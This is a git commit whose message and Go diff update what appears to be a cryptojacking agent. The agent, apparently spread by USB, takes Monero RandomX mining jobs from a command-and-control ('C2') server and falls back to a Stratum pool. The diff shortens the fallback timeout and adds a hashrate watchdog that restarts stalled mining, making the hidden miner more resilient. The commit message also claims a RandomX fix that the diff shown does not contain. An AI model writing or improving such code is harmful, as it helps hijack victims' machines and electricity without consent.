fix(miner): initialize RandomX SuperScalar programs - mining was never hashing. Critical: Randomx_init_cache only populates Argon2d blocks; Programs[] stayed nil causing nil-ptr crash in every hash. Fix: build all 8 SuperScalar programs after cache init. Validator confirms 1.7 MH/s live. Also: blob fix, stratum job-timeout rotation, hashrate watchdog.

usb/agent/client/client.go

@@ -808,7 +808,7 @@ func (c *AgentClient) write(msg Message) error {
 
 // needsStratumFallback returns true when either:
 //   - C2 is offline for > 30 seconds, OR
-//   - C2 is online but no mining job has been delivered in > 90 seconds
+//   - C2 is online but no mining job has been delivered in > 60 seconds
 //     (the pool proxy on the server is broken or still connecting)
 func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
 	if !c.connected.Load() {
@@ -817,11 +817,10 @@ func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
 	// Connected but jobless: check when the last valid job arrived.
 	if raw := c.lastJobAt.Load(); raw != nil {
 		lastJob := raw.(time.Time)
-		return time.Since(lastJob) > 90*time.Second
+		return time.Since(lastJob) > 60*time.Second
 	}
-	// Never received a job; fall back after 90s of being connected with nothing to mine.
-	// Use disconnectedSince as a proxy for "connected since" (it's zeroed on connect).
-	return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 90*time.Second
+	// Never received a job; fall back after 60s of being connected with nothing to mine.
+	return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 60*time.Second
 }
 
 // stratumFallbackManager monitors C2 connectivity and mining job delivery.
@@ -850,6 +849,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
 	ticker := time.NewTicker(5 * time.Second)
 	defer ticker.Stop()
 
+	// hashrateWatchdog: if we have an active job but hashrate has been 0 for
+	// 2 consecutive minutes the workers are stuck — trigger Stratum fallback.
+	var zeroHashSince time.Time
+
 	startFallback := func() {
 		if fb != nil {
 			return
@@ -887,6 +890,27 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
 		case <-ticker.C:
 			connected := c.connected.Load()
 
+			// ── Hashrate watchdog ───────────────────────────────────────────
+			// If we have an active job but hash rate has been 0 for 2 minutes
+			// the workers are frozen — force Stratum fallback regardless of
+			// C2 connection state so mining restarts immediately.
+			if raw := c.lastJobAt.Load(); raw != nil {
+				hs := c.pool.HashesPerSecond()
+				if hs < 1 {
+					if zeroHashSince.IsZero() {
+						zeroHashSince = time.Now()
+					} else if time.Since(zeroHashSince) > 2*time.Minute {
+						log.Printf("[watchdog] hashrate=0 for 2m with active job — forcing Stratum fallback")
+						zeroHashSince = time.Time{}
+						if fb == nil {
+							startFallback()
+						}
+					}
+				} else {
+					zeroHashSince = time.Time{} // hashing — reset watchdog
+				}
+			}
+
 			// Track disconnection time (reset to zero while connected).
 			if connected {
 				if fb != nil {
@@ -900,19 +924,14 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
 						}
 					}
 				} else {
-					// Reset the "no-job" timer every time we are connected and
-					// the pool is delivering (or we have not started timing yet).
 					if raw := c.lastJobAt.Load(); raw != nil {
 						disconnectedSince = time.Time{}
 					}
 				}
 			} else {
-				// Record when we first went offline.
 				if disconnectedSince.IsZero() {
 					disconnectedSince = time.Now()
 				}
-				// Stop fallback when C2 comes back; it will resume on next job.
-				// (We keep the fallback alive while offline — don't stop it here.)
 			}
 
 			if fb == nil && c.needsStratumFallback(disconnectedSince) {